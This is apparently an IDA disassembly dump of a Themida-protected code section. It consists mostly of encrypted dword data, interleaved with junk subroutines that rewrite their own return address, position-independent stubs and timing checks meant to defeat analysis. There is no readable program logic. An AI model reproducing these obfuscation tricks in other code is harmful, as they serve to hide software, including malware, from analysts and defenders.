dd 4EC81h, 14890000h, 0E3895324h, 4C381h, 0EB810000h, 4
dd 5C241C87h, 68240489h, 7E83A0Fh, 8124148Bh, 4C4h, 48B5400h
dd 4C48324h, 27F268h, 24148900h, 0FF08408Fh, 81582434h
dd 4C4h, 24148B00h, 81E18951h, 4C1h, 4C18300h, 5C240C87h
dd 0FC3E6AE9h, 40B1A2FFh, 6D1D20F5h, 0E83F1BB8h, 0FFC50307h
dd 0F885ABE0h, 17FBA12Eh, 778DF130h, 0E182EE67h, 2E561569h
dd 63E0B85Ah, 68274667h, 62B4FF70h, 8BE0365Ah, 2C594243h
dd 64D06F5Dh, 589DBB56h, 0F629A305h, 0F3F4B60Ah, 0AB46DD54h
dd 0C1ED5D29h, 3F516138h, 4E368A3Ch, 9953C429h, 694D4806h
dd 0E9C18B52h, 9, 12DCE2Ah, 0E0AD7D5Dh, 4EBDFh, 8B000000h
dd 0E401A1BDh, 50006A07h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 24F49CA6h, 0B7E2348Ch
dd 85858D4Eh, 6607E40Dh, 9170C781h, 24048950h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 76C35747h, 2AF691CCh
dd 759D89C8h, 6A07E415h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1D04h, 0C3524200h, 12C53CD2h, 2BC0A5CEh
dd 81666DCAh, 6A3D55D6h, 94858D00h, 0F07E841h, 68Bh, 3D9D8900h
dd 8307E405h, 0E89005C0h, 9, 0A6F3BA9Bh, 0D71C02Bh, 53505F6Eh
dd 5F616051h, 6A905Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 0F4F167C3h, 236D813Bh, 0F5B80C12h
dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 7D96C7C3h, 9DE8A018h, 29006AF6h, 0E41C3985h
dd 13E907h, 0E2580000h, 0D4B16EF3h, 0E4A280B7h, 806CF5B4h
dd 0DA833A01h, 7195FF1Fh, 0BE07E424h, 763B83CEh, 0D64B9D8Dh
dd 10E907E7h, 9000000h, 90A9E7FEh, 0F572C3Ah, 0C43CC39Dh
dd 8B2C298Ah, 0E41A09BDh, 89D3FF07h, 0E41C7DBDh, 0B985FF07h
dd 6A07E420h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 1F1BC356h, 3817A79Bh, 47CF8166h
dd 0E1BD03E8h, 0E907E422h, 8AAh, 0E8h, 0ED815D00h, 7E8419Eh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 39C35747h
dd 8D01DA12h, 7E42ACDh, 2AD5BD81h, 7D007E4h, 860F0000h
dd 179h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 0B7C35141h, 81587F5Fh, 29A450CEh, 5E902h, 21E10000h
dd 8BD2C97Dh
dd 0E406FD9Dh, 68F0F07h, 8B000000h, 0E415E1B5h, 0E38107h
dd 0F000001h, 13E9F0BFh, 3C000000h, 0D981EFD1h, 0B92FFFF5h
dd 0FC8957D6h, 53293B1Ch, 0DB0B475Dh, 8F850Fh, 8D290000h
dd 7E41459h, 4004BD83h, 0F0007E8h, 3C84h, 4ABF6600h, 0A9E9B4h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 0E9121DC3h, 11h, 0E7CC4CB5h, 0B4C17817h
dd 0CDDF3750h, 73029C6h, 485C710h, 107E840h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h
dd 46000000h, 0AC27C356h, 568778FDh, 552E9756h, 279B58Bh
dd 3CE907E4h, 29000000h, 0E40AE995h, 485C707h, 7E840h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 8980C353h, 0E41AC985h, 5E907h
dd 0D0A00000h, 8D42FF32h, 0E406FD9Dh, 6810F07h, 89000000h
dd 0E41FA985h, 0FF238107h, 6AFFFFFEh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 33FAC353h
dd 0E2ACF63Bh, 8B661ABFh, 6810FF2h, 1000000h, 0E4067995h
dd 0DB8C6607h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 0C6C35343h, 4C3F615h, 42840Fh, 95FF0000h, 7E42D91h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0FC35545h
dd 0BD29D926h, 7E424CDh, 8820F50h, 60000000h, 310F5250h
dd 8961585Ah, 95312404h, 7E42AEDh, 4A3E9h, 81B58B00h, 0B007E414h
dd 0EE900h, 0F3070000h, 5EBDA5FDh, 2A9F8DF1h, 0ED694517h
dd 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 0BF49A3C3h, 671DA23Bh, 12E9h, 0E58E7A00h
dd 2399BE28h, 737B769Eh, 0C7BFC543h, 0E4A46EDCh, 0CDB50371h
dd 0F07E429h, 890FD8B6h, 10h, 0BE9h, 47DCEE00h, 102BD665h
dd 524EF65Dh, 6BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1A04h, 0C3534300h, 529E2703h, 0FB03D41h
dd 1483h, 0FE900h, 0E5A40000h, 7B05F1C6h, 67360A38h, 6CF761A0h
dd 6AC38B8Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 7C3EC353h, 5D9D8998h, 8B07E405h
dd 4E8C1F2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 6FC35747h, 9556F446h, 8937F501h, 0E413ED8Dh, 0E2F76607h
dd 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 14208C3h, 68AE5364h, 14E898h, 95F50000h
dd 0AFB16B2Eh, 61EDFC08h, 0B4A57A7Ah, 0A88248D4h, 8B66DDF7h
dd 50935FFAh, 6E952h, 0E5DA0000h, 4253D8FCh, 28BE310Fh
dd 5A42CEA7h, 0EDBE5058h, 9305E9F8h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 4EC35343h, 0D5B5FF19h, 0E907E42Ah
dd 8, 835240D8h, 462EB6F2h, 0E4195FFh, 6A07E4h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 76D0E4C3h, 7E233955h, 357DD8Bh, 0E41BDDB5h, 0B05F07h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0C9C35040h
dd 38530E1Eh, 0FC8C5B2h, 70E6F3B7h, 5E860h, 99790000h
dd 0F99E02A4h, 79B5895Fh, 6107E42Dh, 9D8971E4h, 7E40991h
dd 830F613Ch, 284h, 18158D89h, 0B60F07E4h, 6BAD8h, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 0D81DADC3h, 3BACE58Ah, 0C9B51BFh, 6AC38B07h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 0F1AAC350h, 1CB4ED21h, 0FEB9273h, 0E8C1FEBFh, 51006A04h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 26A0F657h, 0F76664C4h, 53006AE2h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 8BD82BA1h
dd 0E42C6DB5h, 6A5807h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 180424h, 55450000h, 210239C3h, 0E9F8FED8h, 7, 7F34C727h
dd 2B6B4907h, 0A5880FD8h, 6A000001h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0AF81C350h
dd 9F714218h, 0CF3F5BEEh, 7B9h, 0C18300h, 7E8h, 0E96AE000h
dd 0C25D8436h, 0B8D0Fh, 6E90000h, 0E4000000h, 3E41353Dh
dd 0D93B5E21h, 152860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 93C8D2C3h, 0BFC26AEBh
dd 507BC1F9h, 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 16B6C357h, 0EDAC77C8h
dd 7DB58B51h, 0F607E415h, 840F04C1h, 0F1h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0D3C35040h, 4D6156E8h
dd 958AE8F7h, 95FFFC4Dh, 7E42D91h, 52006A5Bh, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0E8E12989h
dd 71B8B6C4h, 0F59D8915h, 2B07E420h, 55006AC3h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0BF660261h
dd 343DE2E2h, 0F000008h, 6C86h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0C5B4F4ACh
dd 77F541DAh, 0BE9D3h, 455A0000h, 0DE55DD3Eh, 8C1C9FAFh
dd 0DE9ACh, 0E1600000h, 0C768901h, 0B08FBDDCh, 0E93CD8BFh
dd 28h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h
dd 4C35646h, 0A873F2EEh, 0BEC08B9Eh, 2CE41AEBh, 0D88BC38Bh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 81C35040h
dd 85C78DE4h, 7E41AC5h, 7378471Bh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 51C35141h, 0EE966h, 217D0000h
dd 0AFAD7241h, 47EA49F4h, 0D22E8A13h, 0BD81C08Bh, 7E42AD5h
dd 7D0h, 10850Fh, 0B5290000h, 7E4181Dh, 2AD585FFh, 0BF6607E4h
dd 0B5FFED33h, 7E42AD5h, 29BD8529h, 0BD8B07E4h, 7E42DC5h
dd 0E4195FFh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 8BB116C3h, 0E41A71BDh, 49BD8B07h
dd 9007E426h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 46C35040h, 8BC40B36h, 0E41531B5h, 0CE907h, 2BBC0000h
dd 0D45FE636h, 2251BB75h, 6A64BCh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 8DCECAC3h, 9D292F26h
dd 7E43329h, 6AFA8Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 0D2AF9BC3h, 0F986F5F6h, 0F18D2980h
dd 0E907E431h, 9, 625378E9h, 538C51DDh, 1BC68156h, 814DE307h
dd 0C80BFDF7h, 0E820F16h, 60000000h, 0C3AACB81h, 85895352h
dd 7E42525h, 50006A61h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1804h, 0C3504000h, 0E635B0E5h, 0C870FDCh, 8B000000h
dd 0E40D45BDh, 6DBD8B07h
dd 6A07E405h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 2E8FC351h, 0A997073Dh, 8D0953A0h
dd 7E431C1h, 0FFF75FE9h, 0FBBF0FFFh, 2149BD8Bh, 0C18B07E4h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 79C35545h
dd 0F3BF6618h, 104EB19h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 2AABC355h
dd 0AA73342Bh, 5860F72h, 66000000h, 602CDF81h, 8DF2BF0Fh
dd 0E40D8585h, 7E95007h, 0B0000000h, 53F4E938h, 4893B7Eh
dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 59B589B7h, 6A07E42Dh, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0F7810996h
dd 3B63F9D9h, 0BE9h, 92F7D700h, 56270B47h, 81C7AAB6h, 6A006Ah
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 0AB28A8C3h, 0CBFFF1C0h, 0E98B0F35h, 0Ah, 0B48E1B06h
dd 0F9129E67h, 858D08B4h, 7E84C24h, 2C598529h, 0C08307E4h
dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h
dd 0C3514100h, 93DE7173h, 634EC9A1h, 0F50B302h, 48Bh, 0AFBE6600h
dd 2404897Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 18h, 0B6C35040h, 0C4F5FCB0h, 10E9h, 67069900h, 0A26EEF0h
dd 0C0446454h, 621A92D0h, 51BD299Eh, 6A07E42Dh, 0FD958900h
dd 6A07E408h, 0B5016000h, 7E40F21h, 68F0Fh, 860F0000h
dd 0
; ---------------------------------------------------------------------------
popa
call dword ptr [ebp+7E42471h]
push 0
push ecx
call sub_5C7076
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7076 proc near ; CODE XREF: Themida_:005C706Ep
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_5C7076 endp
; ---------------------------------------------------------------------------
dw 2636h
; ---------------------------------------------------------------------------
and dh, 8Bh
mov ebp, 7E401DDh
lea ebx, [ebp+7E7D64Bh]
mov esi, [ebp+7E407BDh]
call ebx ; _iob
mov esi, 37C71F1Ah
inc dword ptr [ebp+7E420B9h]
mov edi, [ebp+7E423B1h]
jmp loc_5C78FC
; ---------------------------------------------------------------------------
call $+5
pop ebp
sub ebp, 7E84C2Eh
mov esi, [ebp+7E415C5h]
cmp dword ptr [ebp+7E42AD5h], 7D0h
jbe loc_5C7236
push 0
push ebx
call sub_5C70E1
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C70E1 proc near ; CODE XREF: Themida_:005C70D9p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5C70E1 endp
; ---------------------------------------------------------------------------
db 0F3h, 11h, 66h
; ---------------------------------------------------------------------------
adc esi, 9D8B7D0Dh
push ebp
add eax, 6A07E4h
push ecx
call sub_5C7109
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7109 proc near ; CODE XREF: Themida_:005C7101p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_5C7109 endp
; ---------------------------------------------------------------------------
db 0E0h, 1Fh, 76h
; ---------------------------------------------------------------------------
retf 96CAh
; ---------------------------------------------------------------------------
db 0FAh
dd 895825B8h, 0E43079B5h, 0E38107h, 60000001h, 149D9D8Bh
dd 0F18107E4h, 3EF5D87Dh, 0FDB0B61h, 9285h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 0F6A116F1h, 0FA7C00BAh, 4A68BD83h, 0F0007E8h, 4D84h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 0E8DDA338h, 0D0FA7EB0h, 198D0F8Ch, 0E9000000h
dd 14h, 0ED3C3A80h, 842DE3A1h, 654EF3C2h, 14CB4027h, 116916Ch
dd 0D9CF8166h, 27E997h, 85C70000h, 7E84A68h, 1, 55DB531h
dd 12E907E4h, 0C7000000h, 0E84A6885h, 7, 2810F00h, 8B000000h
dd 559D8DF0h, 6A07E405h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 646FC355h, 0F5BD72B1h
dd 33137EFBh, 0B4BA2BBEh, 0FF238122h, 0E9FFFFFEh, 12h
dd 0F6D7BFD5h, 6B231420h, 9F971D4h, 0A3AF12CCh
db 8Ah, 5Eh
; ---------------------------------------------------------------------------
loc_5C7236: ; CODE XREF: Themida_:005C70D0j
mov bx, ds
push 0
push ecx
call sub_5C7244
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7244 proc near ; CODE XREF: Themida_:005C723Cp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_5C7244 endp
; ---------------------------------------------------------------------------
dd 376F0E22h, 3315EBE4h, 0C3F61ADCh, 51840F04h, 0F000000h
dd 0C8Fh, 68B0F00h, 0F000000h, 87h, 9195FF00h, 6607E42Dh
dd 0E850F98Bh, 10h, 0DF48E7A7h, 0E256BB54h, 95578211h
dd 64014208h, 2830Fh, 0F18B0000h, 2404895Eh, 5E860h, 42E40000h
dd 23A2D8C5h, 0E40F31BDh, 61F55F07h, 3DEE9h, 0C5952900h
dd 0B007E421h, 10E900h, 57CF0000h, 480798B8h, 51B5CB7Fh
dd 83D7E214h, 70E64F21h, 0A19D8B60h, 0B607E406h, 71E46112h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 9AC35040h
dd 1C2B3264h, 0FD24058h, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 65FF0BC3h, 6BAFC1Eh
dd 1000000h, 0E41B8DBDh, 66C38B07h, 0E8C1FB8Bh, 1D8A0F04h
dd 0E8000000h, 11h, 61A7ED0h, 7B3D7AA2h, 0BE845930h, 0C5EFD5DDh
dd 0C5B58BA3h, 5F07E42Eh, 6AE2F766h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 33D8C352h
dd 60629391h, 1429858Bh, 0D78B07E4h, 60D82B61h, 1E619589h
dd 952907E4h, 7E40245h, 0BE669361h, 0E850204Bh, 6, 59D99D5Dh
dd 0EE8F763h, 0A3000000h, 1D9FF66Ch, 577F0442h, 2BF0EAE8h
dd 5F61605Ah, 0B70F935Eh, 0A5B58BF7h, 0FF07E40Bh, 0E42AD5B5h
dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 26EEF067h, 1B5890Ah, 0FF07E404h, 0E40E4195h
dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 0B59D89AEh, 907E427h, 0E42FED85h, 6600B007h
dd 358FE681h, 6A70E6F8h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 0FBD2C355h, 897FE00Dh
dd 0E4040185h, 8971E407h, 0E4064D85h, 0C7816607h, 613C17C9h
dd 229830Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 0BF30D2C3h, 14E92537h, 66D8B60Fh
dd 0BA592DBFh, 6, 3850Fh, 8B660000h, 0E9C38BF1h, 7, 0CE661514h
dd 0C140B4B1h, 6A04E8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 0D6530CC3h, 0C68DEE39h, 52E1FAE9h
dd 58E0Fh, 81660000h, 5E2E23EFh, 6AE2F766h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 5639C353h
dd 52E2F800h, 0FE957h, 5CE40000h, 6904A4ABh, 0D026640Eh
dd 6E7A7D18h, 2B5E5F9Ah, 68F0FD8h, 89000000h, 0E40E2995h
dd 0BD8B5807h, 7E400EDh, 880FD82Bh, 157h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Dh, 89C35242h, 6713D27Ah
dd 90805577h, 0B58960CBh, 7E409F5h, 0F618509h, 0B96107E4h
dd 7, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah
dd 0BFC35242h, 53D65D30h, 850F09C0h, 5, 91EF8166h, 19CE8182h
dd 0F0ABE65h, 0C183FEBFh, 61B58900h, 3B07E40Bh, 0D8860FD9h
dd 9000000h, 0E401A1BDh, 0D98C6607h, 13E9h, 4F4DC900h
dd 504BDB2Bh, 0C4BC784h, 0E13D7863h, 73436134h, 0BE9h
dd 95CFB900h, 0A53405B0h, 57DC5E8Eh, 0F04C1F6h, 9784h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h
dd 0C3554500h, 880F2CE7h, 6, 0A29B531h, 95FF07E4h, 7E42D91h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 9FC35141h
dd 334DE5F5h, 880F9274h, 5, 0BEDE8166h, 0C32B5BA0h, 8B0Fh
dd 343D0000h, 0F000008h, 2786h, 29E900h, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 51A10BC3h, 0F6B70FE8h, 0ACBFC08Bh, 8B51CCB8h, 0E8D88BC3h
dd 0Bh, 0A8CCFFDCh, 0FB333A91h, 0F7C64CCh, 587h, 539BF00h
dd 0C75E69B7h, 0E406FD85h, 0FE95307h, 0B5950137h, 8B07E427h
dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h
dd 0C3554500h, 8EB0D893h, 79A4CE83h, 1AA19D29h, 5F5107E4h
dd 2AD5BD81h, 7D007E4h, 850F0000h, 32h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 18h, 45C35242h, 0A33CB076h
dd 19E19D89h, 85FF07E4h, 7E42AD5h, 1B7D8589h, 0B5FF07E4h
dd 7E42AD5h, 9F8858BFh, 4195FF3Ah, 6607E40Eh, 6A90F88Bh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 96D1C352h, 0BA6D6E97h, 0FCE65555h, 3F78A60h
dd 0E429F9B5h, 0C6BF0F07h, 6E9h, 7BDC2200h, 61CAF671h
dd 0BDE78166h, 51006A1Eh, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1D04h, 0C3514100h, 0A0CCF7C1h, 70D3C75Ch
dd 7E855A8h, 0D000000h, 61BF4F81h, 11E91554h, 3A000000h
dd 166DB210h, 0FE92EC35h, 2E4F8A3Ah, 1B60F2FDh, 7BDE8166h
dd 0B58B5EA3h, 7E40B51h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 17h, 5AC35141h, 2B336F8Ah, 0E415C5B5h, 89DE8107h
dd 0E9462F00h, 0Ch, 0BF2DF4B3h, 8BD511BFh, 0EE6834E2h
dd 9E8h, 16916C00h, 78F001h, 8D89864Ah, 7E405B5h, 57006A5Eh
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 98814C78h, 952B60C6h, 7E4237Dh, 3047D881h, 0FE82D4Fh
dd 75000000h, 0BAC55451h, 5E53D47Dh, 0EDBD1A0Fh, 8B663C38h
dd 8D9D8BC3h, 5B07E42Dh, 0FE8B6661h, 0FFF82BE9h, 57006AFFh
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 39D8320Bh, 137A00C8h, 0CE84Fh, 3F020000h, 0C555AA2Ch
dd 3D0CAD91h, 12E9A0ADh, 65000000h, 5AD9FC74h, 20587C7Eh
dd 0E8C891E6h, 417438F5h, 0FD9D01CFh, 5F07E419h, 10E8h
dd 0FE1B1600h, 0CB8E0801h, 4BB99AAAh, 1DA68D4Eh, 0F3EDBFC3h
dd 13BF0247h, 5E705521h
; ---------------------------------------------------------------------------
loc_5C78FC: ; CODE XREF: Themida_:005C70AFj
mov eax, ecx
push 0
push ebx
call sub_5C7909
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7909 proc near ; CODE XREF: Themida_:005C7901p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5C7909 endp
; ---------------------------------------------------------------------------
db 0E5h, 0D3h, 0EBh
dd 104h, 14E900h, 0A6C80000h, 34418B22h, 53B26601h, 0F978DF7Ch
dd 0EB3224F2h, 6A91CBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1D0424h, 55450000h, 0CD4B16C3h, 0B7E90DFAh, 0FB271FFh
dd 684h, 0FDB58B00h, 8D07E42Dh, 0E40D8585h, 0B58B5707h
dd 7E415ADh, 0BF50905Fh, 3F2E41C7h, 56006A90h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 6DC74650h
dd 2C0D9529h, 6A07E4h, 820Fh, 6A0000h, 0BD89FB8Bh, 7E42D3Dh
dd 569B858Dh, 6A07E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 0FD2218C3h, 0EB24B15Eh, 8BE0EDD5h
dd 0E425CDBDh, 5C08307h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Dh, 94C35141h, 4B423A86h, 0CCF9BAB9h, 12E962h
dd 0FC560000h, 0D0461323h, 37616078h, 890CD9B6h, 0A24753ABh
dd 820Fh, 66900000h, 500E28BFh, 0A800Fh, 52500000h, 0DE35BE66h
dd 585A310Fh, 6AF990h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ch, 2EC35141h, 0B9BE4840h, 0A558E777h, 0BE8h
dd 21A1FB00h, 9A9762BDh, 0D00ADA24h, 2389BD33h, 6A5F07E4h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h
dd 0C3564600h, 31F0B0FAh, 8866E7F5h, 0FFF08B8Ch, 0E4247195h
dd 0CE816607h, 9D8DF516h, 7E7D64Bh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Bh, 60C35747h, 0F117660Ch, 0BF46404h
dd 0E409A5BDh, 6AD3FF07h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 2FE1C355h, 8DEB9C8Bh
dd 0E982BD01h, 0Ah, 10174FE9h, 65BE5CE9h, 85FF3797h, 7E420B9h
dd 218D9589h, 0BDE907E4h
db 7, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5C7B2B: ; DATA XREF: Themida_:00584C04o
call $+5
pop ebp
sub ebp, 7E856A5h
push 0
push eax
call sub_5C7B42
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7B42 proc near ; CODE XREF: Themida_:005C7B3Ap
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5C7B42 endp
; ---------------------------------------------------------------------------
dw 0C1FAh
dd 55E96B26h, 0BD89F382h, 7E41A61h, 0CAB7BE60h, 7E93197h
dd 0D000000h, 0A5A902F1h, 8161ABA1h, 0E42AD5BDh, 7D007h
dd 2D860F00h, 89000001h, 0E427799Dh, 999D8B07h, 6A07E413h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 0CE42C357h, 2AFA9815h, 0BF0F6A24h, 8D0F60FFh
dd 1, 19D8BF8h, 6107E423h, 100E381h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 69811FC3h
dd 0B8FEA41h, 73850FDBh, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 4BBC356h
dd 0B1FC0C96h, 8B72FE9Ah, 0E400A9BDh, 92BD8307h, 7E854h
dd 0C840Fh, 47E90000h, 81000000h, 0E93488F7h, 85C7F574h
dd 7E85492h, 1, 31E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 41F1CA37h, 85C70C22h
dd 7E85492h, 0
dd 2D9531h, 9D8D07E4h, 7E41399h, 6880F51h, 0F000000h, 8Ah
dd 23815F00h, 0FFFFFEFFh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 0A2C35040h, 0D844BC02h, 6ADB8C66h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 452C350h, 5B05118Fh, 12E538ECh, 0F04C3F6h, 4784h, 0FE900h
dd 0CDF60000h, 6B691B77h, 0DF019F4Ah, 0F6B1A017h, 9195FF0Ah
dd 2907E42Dh, 0E400D1BDh, 4895007h, 55006A24h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 2627DB77h
dd 36CDCFE1h, 3EDE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1604h, 0C3514100h, 0E8293B1Ch, 5, 79D0CD99h
dd 62BE66A9h, 0B05FA3h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 0E1C35242h, 9860F9A6h, 0BD1E565Fh, 9DB533C9h
dd 2307E403h, 0E408A1BDh, 0E470E607h, 57006A71h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 894E0F32h, 0FC57CA95h, 81D8B60Fh, 0F69849CEh, 6BA6Dh
dd 0BD8B0000h, 7E41AEDh, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 8D29B4C3h, 7E40079h
dd 73A6BE66h, 2BDBD03h, 0E8C107E4h, 0CDF8104h, 6658FC02h
dd 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
dd 55450000h, 0F6546CC3h, 6AD82B37h, 3E85200h, 20000000h
